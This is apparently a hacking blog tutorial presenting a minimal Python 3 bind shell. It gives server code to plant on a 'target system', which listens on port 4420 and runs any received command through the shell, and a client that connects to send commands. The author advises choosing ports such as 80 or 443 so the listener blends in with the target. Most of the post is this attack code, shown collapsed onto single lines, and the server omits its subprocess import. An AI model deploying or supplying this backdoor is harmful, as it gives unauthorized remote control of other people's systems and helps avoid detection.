What’s going on guys?
I have been packed with work and studying for certifications recently, leaving me little time to bring you some cool articles. 🙁
Anyway, I’ve been interested in analyzing different types of shells and coding them myself with custom options.
This time we’ll stick to the basics though: we’ll be looking at a bind shell coded in Python 3, of course, in as few lines of code as possible.
Why Bind Shell?
Every shell has its purpose and we need to be looking to increase our arsenal and understanding of what shell works better in each case.
A bind shell, while clumsy in implementation on most targets – considering you have to do port forwarding and have it listening – does have its advantages when it comes to flexibility from the attacking system. It allows us to connect using different tools like a proxy, for example, or even from a coffee shop or another anonymous location.
With that said, let’s get into the code since I’m short on time.
Dive Into The Code
First, let’s take a look at the server code (run in the target system):
#!/usr/bin/env python3 import socket,os # Socket configuration c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind(('0.0.0.0', 4420)) c.listen(1) s,a = c.accept() while True: data = s.recv(1024) if data.decode() == "quit": break elif data.decode()[:2] == "cd": try: os.chdir(data.decode()[3:]) except: pass else: proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() stdoutput.decode() s.sendall(stdoutput) s.sendall('EOFX'.encode()) # Loop ends here s.send('Bye!'.encode()) s.close()
We’ll go ahead and choose a port to listen on (in this case 4420).
Of course, we’ll need to do port forwarding on that target system, which reminds me, you’ll most often want to stick with other ports that can blend in with the target system in question (like 80, 8080, 443, or whatever fits).
If you’ve seen the reverse shell series you’ll notice this code is similar to it with just a few bits switched, since this is a bind shell.
Once we receive a connection, will listen for commands, run them and send the output over the network to our “client” – the controlling party.
Now let’s check out the client code:
#!/usr/bin/env python3 import socket,os # Enter IP address and port HOST = 'Enter.IP.Address.Here' PORT = 4420 # Configure socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('\nHowdy!\nEOFX'.encode()) while True: # Receive data data = s.recv(1024) # Check for end of command if data.decode().endswith("EOFX") == True: # Print data without 'EOFX' print(data[:-4].decode()) # Get next command nextcmd = input(": ") # Send that $hit if nextcmd == 'quit': s.send(nextcmd.encode()) break else: s.send(nextcmd.encode()) # If we haven't reach end of command, print else: print(data.decode())
First of all, make sure to match the correct IP address and port.
With that out of the way, the code starts off by attempting to initialize the connection on that supplied IP address and port.
Then, its simply a matter of prompting the user for which command they want to run on the server and send it over to get the output from it.